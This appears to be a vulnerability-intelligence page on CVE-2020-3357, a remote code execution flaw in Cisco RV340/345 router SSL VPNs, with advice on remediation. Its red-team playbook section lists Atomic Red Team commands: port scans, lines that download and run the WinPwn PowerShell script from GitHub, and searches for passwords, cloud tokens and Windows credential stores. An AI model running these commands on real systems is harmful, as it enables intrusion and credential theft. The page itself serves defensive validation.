CVE-2020-3357
Overview
This vulnerability is a failure in input validation within the SSL VPN feature of Cisco Small Business RV Series routers. Specifically, crafted HTTP requests sent over SSL are not properly sanitized, allowing malicious input to interact with internal processing components. The affected feature is the SSL VPN HTTP request handling mechanism in the RV340, RV340W, RV345, and RV345P router firmware.
Vulnerability Description
A vulnerability in the Secure Sockets Layer (SSL) VPN feature of Cisco Small Business RV340, RV340W, RV345, and RV345P Dual WAN Gigabit VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device or cause the device to reload, resulting in a denial of service (DoS) condition. The vulnerability exists because HTTP requests are not properly validated. An attacker could exploit this vulnerability by sending a crafted HTTP request over an SSL connection to an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device or cause the device to reload, resulting in a DoS condition.
Impact
An unauthenticated remote attacker with network access to the SSL VPN interface can exploit this vulnerability to execute arbitrary code or cause the router to reload, resulting in denial of service. No prior authentication or user interaction is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can disrupt business operations by interrupting network connectivity and potentially allow full control over the affected device.
Solution
Cisco has released a security advisory (cisco-sa-sb-rce-dos-9ZAjkx4) addressing this vulnerability. Administrators should upgrade affected Cisco Small Business RV Series routers (RV340, RV340W, RV345, RV345P) to the fixed firmware versions specified in the advisory. Detailed patch instructions and firmware downloads are available at Cisco’s official security portal. No workarounds are recommended; applying the vendor-provided firmware update is the definitive remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Secure Sockets Layer (SSL) VPN feature of specific Cisco Small Business routers stems from inadequate validation of HTTP requests. This flaw allows an unauthenticated remote attacker to send specially crafted HTTP requests over an SSL connection, potentially leading to arbitrary code execution or causing the device to reload. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk. The underlying issue lies in the router's failure to properly validate incoming requests, which could be exploited to manipulate the device's operation.
Attack vectors for this vulnerability are relatively straightforward. An attacker could initiate an exploit by targeting the affected routers with crafted HTTP requests, leveraging the SSL VPN feature. Given that the routers are often deployed in small business environments, they may be exposed to the internet, increasing their attack surface. Once the crafted request is sent, if successful, the attacker could execute arbitrary code on the device, leading to unauthorized access, data exfiltration, or even complete control over the router. Alternatively, the exploitation could trigger a reload of the device, resulting in a denial of service (DoS) condition, disrupting business operations and impacting network availability.
The real-world impact of this vulnerability can be significant, particularly for small businesses that rely on these routers for secure remote access. If exploited, an attacker could gain access to sensitive internal networks, potentially leading to further attacks on connected systems. The business risks include not only operational disruptions due to the DoS condition but also the potential for data breaches, which could result in financial losses, regulatory penalties, and damage to the organization's reputation. Furthermore, the exploitation of such vulnerabilities could lead to a loss of customer trust, which is critical for small businesses that often rely on their reputation for growth and sustainability.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the router firmware is essential, as vendors typically release patches to address known vulnerabilities. Network monitoring tools can help detect unusual traffic patterns or unauthorized access attempts, providing an additional layer of security. Additionally, organizations should consider implementing network segmentation to limit the exposure of critical systems to potential attacks. Employing strong access controls and ensuring that only authorized personnel can access the VPN feature can further reduce the risk of exploitation.
In conclusion, the vulnerability present in the SSL VPN feature of certain Cisco Small Business routers poses a critical risk to organizations that utilize these devices. The potential for arbitrary code execution and denial of service highlights the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities and safeguard their networks.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-3357, with our sensors registering new instances of exploitation attempts targeting the SSL VPN feature of affected Cisco Small Business RV series routers. Although no new exploit variants or proof-of-concept code have surfaced, the uptick in telemetry indicates increased adversary interest and potential reconnaissance or attack campaigns leveraging this vulnerability. The EPSS score remains stable but elevated, reflecting sustained exploitability without rapid growth. This resurgence in activity underscores the criticality of the vulnerability, signaling that threat actors may be actively probing networks for susceptible devices. Consequently, the risk posture for organizations using these routers has intensified, warranting heightened vigilance despite the absence of novel exploit techniques.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv340 Dual Wan Gigabit Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv340_dual_wan_gigabit_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv340w Dual Wan Gigabit Wireless-Ac Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv340w_dual_wan_gigabit_wireless-ac_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345 Dual Wan Gigabit Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv345_dual_wan_gigabit_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv345p Dual Wan Gigabit Poe Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv345p_dual_wan_gigabit_poe_vpn_router_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3357 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sb-rce-dos-9ZAjkx4 |